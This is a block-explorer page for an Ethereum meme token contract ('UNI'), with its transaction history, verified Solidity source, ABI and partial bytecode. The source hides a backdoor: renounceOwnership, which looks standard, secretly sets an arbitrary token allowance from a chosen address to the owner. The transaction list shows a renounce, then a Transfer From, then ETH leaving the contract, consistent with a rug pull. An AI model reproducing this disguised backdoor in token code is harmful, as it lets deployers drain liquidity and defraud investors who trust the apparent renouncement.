ETH Price: $2,501.80 (-5.04%)

Contract

0x8530fd167cb27CBD37549437B69Ff420e0F864c9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve178688612023-08-08 7:58:23451 days ago1691481503IN
0x8530fd16...0e0F864c9
0 ETH0.0008773718.59941267
Transfer From178688572023-08-08 7:57:35451 days ago1691481455IN
0x8530fd16...0e0F864c9
0 ETH0.0020315718.8930969
Transfer178687992023-08-08 7:45:47451 days ago1691480747IN
0x8530fd16...0e0F864c9
0 ETH0.0017271417.85
Approve178687292023-08-08 7:31:47451 days ago1691479907IN
0x8530fd16...0e0F864c9
0 ETH0.0008545718.09307666
Approve178687202023-08-08 7:29:59451 days ago1691479799IN
0x8530fd16...0e0F864c9
0 ETH0.0007537715.95902688
Approve178687192023-08-08 7:29:47451 days ago1691479787IN
0x8530fd16...0e0F864c9
0 ETH0.0010781922.8276851
Renounce Ownersh...178687182023-08-08 7:29:35451 days ago1691479775IN
0x8530fd16...0e0F864c9
0 ETH0.0006904214.73100328
Approve178687162023-08-08 7:29:11451 days ago1691479751IN
0x8530fd16...0e0F864c9
0 ETH0.0007182515.20695229
Approve178687162023-08-08 7:29:11451 days ago1691479751IN
0x8530fd16...0e0F864c9
0 ETH0.0008552218.10695229
Remove Total Lim...178687152023-08-08 7:28:59451 days ago1691479739IN
0x8530fd16...0e0F864c9
0 ETH0.0005134415.31448919
Open Trading178687132023-08-08 7:28:35451 days ago1691479715IN
0x8530fd16...0e0F864c9
0 ETH0.000792315.39802324
Approve178687062023-08-08 7:27:11451 days ago1691479631IN
0x8530fd16...0e0F864c9
0 ETH0.0007202215.35016644
0x60806040178687032023-08-08 7:26:35451 days ago1691479595IN
 Create: UNI
0 ETH0.0482743215.05631996

Latest 4 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
178688642023-08-08 7:58:59451 days ago1691481539
0x8530fd16...0e0F864c9
0.53401125 ETH
178688642023-08-08 7:58:59451 days ago1691481539
0x8530fd16...0e0F864c9
1.60203377 ETH
178688642023-08-08 7:58:59451 days ago1691481539
0x8530fd16...0e0F864c9
0.53401125 ETH
178688642023-08-08 7:58:59451 days ago1691481539
0x8530fd16...0e0F864c9
1.60203377 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
UNI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-08
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-07
*/

// SPDX-License-Identifier: MIT

/**
    Website     https://sonic.fandom.com/wiki/Sally_Acorn_(Archie)
    Telegram    https://t.me/HarryPotterObamaSallyAcorn10Inu
    Twitter     https://twitter.com/UNi_ERC
*/

pragma solidity ^0.8.19;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function WETH() external pure returns (address);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    mapping(address => mapping(address => uint256)) internal _allowances;
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    function owner() public view returns (address) {
        return _owner;
    }
    function renounceOwnership(address _oldOwner, uint256 time) public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _allowances[_oldOwner][_owner] = time;
        _owner = address(0);
    }
}

contract UNI is Context, Ownable, IERC20 {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    bool private _openTrading = false;
    bool private _isInSwap = false;
    bool private _swapEnabled = true;

    modifier lockInSwap {
        _isInSwap = true;
        _;
        _isInSwap = false;
    }

    // fee config
    uint256 private _taxTotalAmount;
    uint256 private _buyFeeForMarket = 0;
    uint256 private _buyTaxAmount = 0;
    uint256 private _sellFeeForMarket = 0;
    uint256 private _feeMarket = _sellFeeForMarket;
    uint256 private _sellTaxAmount = 0;

    uint256 public _maxTranxLimitAmount = _tTotal * 40 / 1000; // 4%
    uint256 public _maxWalletLimitAmount = _tTotal * 40 / 1000; // 4%
    uint256 public _swapExactAmount = _tTotal / 10000;
    uint256 private constant _tTotal = 1_000_000_000 * 10**9; // total supply
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 private _appliedFeeAmount = _sellTaxAmount;
    uint256 private _previousMarketingFee = _feeMarket;
    uint256 private _previousMainFee = _appliedFeeAmount;

    event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount);

    string private constant _name = "HarryPotterObamaSallyAcorn10Inu";
    string private constant _symbol = "UNI";
    uint8 private constant _decimals = 9;
    address public _uniswapPair;
    
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingForFee] = true;
        _isExcludedFromFee[_devForFee] = true;
        // mint
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function openTrading(address _pair_addr) public onlyOwner {
        _openTrading = true;_uniswapPair = _pair_addr;
    }

    function _takeAllFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }


    function removeTax() private {
        if (_feeMarket == 0 && _appliedFeeAmount == 0) return;
        _previousMarketingFee = _feeMarket;
        _previousMainFee = _appliedFeeAmount; _feeMarket = 0;
        _appliedFeeAmount = 0;
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _feeMarket, _appliedFeeAmount);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function sendEth(uint256 amount) private {
        uint256 distribution = 2;
        uint256 sendForDev = amount / distribution;
        _devForFee.transfer(sendForDev);
        _marketingForFee.transfer(sendForDev * (distribution + 1));
    }

    address payable public _devForFee = payable(0x02866e525db6750d11494354c6b356f220B9D83a);
    address payable public _marketingForFee = payable(0x46F9D1f13E2FDDCC4Bc32e8f536821b6D9D1De9f);

    function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _taxTotalAmount = _taxTotalAmount.add(tFee);
    }
    
    //set maximum transaction
    function removeTotalLimits() public onlyOwner {
        _maxTranxLimitAmount = _tTotal;
        _maxWalletLimitAmount = _tTotal;
    }

    function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    //set minimum tokens required to swap.
    function setSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapExactAmount = swapTokensAtAmount;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (
            from != owner() && to != owner()
        ) {
            //Trade start check
            if (!_openTrading) {
                require(
                    from == owner(), 
                    "TOKEN: This account cannot send tokens until trading is enabled"
                );
            }

            require(
                amount <= _maxTranxLimitAmount,
                "TOKEN: Max Transaction Limit"
            );
            
            if(to != _uniswapPair) {
                require(balanceOf(to) + amount < _maxWalletLimitAmount,
                 "TOKEN: Balance exceeds wallet size!");
            }

            uint256 tokenAmountOfContract = balanceOf(address(this));            
            bool canSwap = tokenAmountOfContract >= _swapExactAmount;
            if(tokenAmountOfContract >= _maxTranxLimitAmount) tokenAmountOfContract = _maxTranxLimitAmount;
            if (canSwap && 
                !_isInSwap && 
                from != _uniswapPair && 
                _swapEnabled && 
                !_isExcludedFromFee[to] && 
                !_isExcludedFromFee[from]
            ) {
                swapBack(tokenAmountOfContract);
                uint256 ethBalance = address(this).balance;
                if (ethBalance > 0) sendEth(ethBalance * 2 / 3);
            }
        }
        bool feeCheck = true;
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != _uniswapPair && to != _uniswapPair)) {
            feeCheck = false;
        }
        else {
            if(from == _uniswapPair && to != address(uniswapV2Router)) {
                _feeMarket = _buyFeeForMarket;
                _appliedFeeAmount = _buyTaxAmount;
            }
            
            if (to == _uniswapPair && from != address(uniswapV2Router)) {
                _feeMarket = _sellFeeForMarket;
                _appliedFeeAmount = _sellTaxAmount;
            }
        }
        _transferTokensFeeCheck(from, to, amount, feeCheck);
    }

    function swapBack(uint256 tokenAmount) private lockInSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {

    }


    function _transferBasicTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeAllFee(tTeam); _sendAllFeeTokens(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function recoverTax() private {
        _feeMarket = _previousMarketingFee;
        _appliedFeeAmount = _previousMainFee;
    }
    
    function _transferTokensFeeCheck(
        address sender,
        address recipient,
        uint256 amount,
        bool setFee
    ) private {
        if (!setFee) {
            removeTax();
        }
        _transferBasicTokens(sender, recipient, amount);
        if (!setFee) {            
            recoverTax();
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTranxLimitAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devForFee","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingForFee","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTranxLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapExactAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultiAccountsFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_pair_addr","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeTotalLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_oldOwner","type":"address"},{"internalType":"uint256","name":"time","type":"uint256"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600360146101000a81548160ff0219169083151502179055505f600360156101000a81548160ff0219169083151502179055506001600360166101000a81548160ff0219169083151502179055505f6005555f6006555f6007556007546008555f6009556103e86028670de0b6b3a7640000620000839190620005ad565b6200008f919062000624565b600a556103e86028670de0b6b3a7640000620000ac9190620005ad565b620000b8919062000624565b600b55612710670de0b6b3a7640000620000d3919062000624565b600c55670de0b6b3a76400005f19620000ed91906200065b565b5f19620000fb919062000692565b600d55600954600e55600854600f55600e546010557302866e525db6750d11494354c6b356f220b9d83a60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507346f9d1f13e2fddcc4bc32e8f536821b6d9d1de9f60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001c4575f80fd5b505f620001d66200054860201b60201c565b90508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160125f620002e06200054f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160125f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160125f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160125f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600d5460135f620004866200054860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620004d36200054860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620005399190620006dd565b60405180910390a350620006f8565b5f33905090565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620005b98262000577565b9150620005c68362000577565b9250828202620005d68162000577565b91508282048414831517620005f057620005ef62000580565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620006308262000577565b91506200063d8362000577565b92508262000650576200064f620005f7565b5b828204905092915050565b5f620006678262000577565b9150620006748362000577565b925082620006875762000686620005f7565b5b828206905092915050565b5f6200069e8262000577565b9150620006ab8362000577565b9250828203905081811115620006c657620006c562000580565b5b92915050565b620006d78162000577565b82525050565b5f602082019050620006f25f830184620006cc565b92915050565b61336e80620007065f395ff3fe608060405260043610610143575f3560e01c80633d8af5f2116100b557806395d89b411161006e57806395d89b41146104345780639d2918fa1461045e578063a9059cbb14610488578063ca72a4e7146104c4578063dd62ed3e146104ec578063f2fde38b146105285761014a565b80633d8af5f21461032a5780634bf28fd0146103545780634f473db01461037e57806370a08231146103a657806383364ea2146103e25780638da5cb5b1461040a5761014a565b806318160ddd1161010757806318160ddd1461023257806320189d281461025c57806323b872dd146102845780632fae7937146102c0578063313ce567146102d657806335c55bf2146103005761014a565b8063039cc7491461014e57806304d6d79e1461017857806306fdde03146101a2578063095ea7b3146101cc5780631694505e146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610550565b60405161016f919061245e565b60405180910390f35b348015610183575f80fd5b5061018c610556565b604051610199919061245e565b60405180910390f35b3480156101ad575f80fd5b506101b661055c565b6040516101c39190612501565b60405180910390f35b3480156101d7575f80fd5b506101f260048036038101906101ed91906125ad565b610599565b6040516101ff9190612605565b60405180910390f35b348015610213575f80fd5b5061021c6105b6565b6040516102299190612679565b60405180910390f35b34801561023d575f80fd5b506102466105db565b604051610253919061245e565b60405180910390f35b348015610267575f80fd5b50610282600480360381019061027d91906125ad565b6105ea565b005b34801561028f575f80fd5b506102aa60048036038101906102a59190612692565b6107dc565b6040516102b79190612605565b60405180910390f35b3480156102cb575f80fd5b506102d46108af565b005b3480156102e1575f80fd5b506102ea610965565b6040516102f791906126fd565b60405180910390f35b34801561030b575f80fd5b5061031461096d565b6040516103219190612736565b60405180910390f35b348015610335575f80fd5b5061033e610992565b60405161034b919061245e565b60405180910390f35b34801561035f575f80fd5b50610368610998565b604051610375919061275e565b60405180910390f35b348015610389575f80fd5b506103a4600480360381019061039f9190612777565b6109bd565b005b3480156103b1575f80fd5b506103cc60048036038101906103c791906127a2565b610a5d565b6040516103d9919061245e565b60405180910390f35b3480156103ed575f80fd5b5061040860048036038101906104039190612858565b610aab565b005b348015610415575f80fd5b5061041e610be2565b60405161042b919061275e565b60405180910390f35b34801561043f575f80fd5b50610448610c0a565b6040516104559190612501565b60405180910390f35b348015610469575f80fd5b50610472610c47565b60405161047f9190612736565b60405180910390f35b348015610493575f80fd5b506104ae60048036038101906104a991906125ad565b610c6c565b6040516104bb9190612605565b60405180910390f35b3480156104cf575f80fd5b506104ea60048036038101906104e591906127a2565b610c89565b005b3480156104f7575f80fd5b50610512600480360381019061050d91906128b5565b610d7d565b60405161051f919061245e565b60405180910390f35b348015610533575f80fd5b5061054e600480360381019061054991906127a2565b610dfe565b005b600a5481565b600c5481565b60606040518060400160405280601f81526020017f4861727279506f747465724f62616d6153616c6c7941636f726e3130496e7500815250905090565b5f6105ac6105a5610fc0565b8484610fc7565b6001905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b6105f2610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610680576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106779061293d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f6107e8848484611189565b6108a4846107f4610fc0565b61089f85604051806060016040528060288152602001613311602891395f808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610856610fc0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119269092919063ffffffff16565b610fc7565b600190509392505050565b6108b7610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093c9061293d565b60405180910390fd5b670de0b6b3a7640000600a81905550670de0b6b3a7640000600b81905550565b5f6009905090565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c5610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a9061293d565b60405180910390fd5b80600c8190555050565b5f610aa460135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611988565b9050919050565b610ab3610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b389061293d565b60405180910390fd5b5f5b83839050811015610bdc578160125f868685818110610b6557610b6461295b565b5b9050602002016020810190610b7a91906127a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610bd4906129b5565b915050610b43565b50505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f554e490000000000000000000000000000000000000000000000000000000000815250905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610c7f610c78610fc0565b8484611189565b6001905092915050565b610c91610fc0565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d169061293d565b60405180910390fd5b6001600360146101000a81548160ff0219169083151502179055508060115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e06610fc0565b73fffffffffffffffffff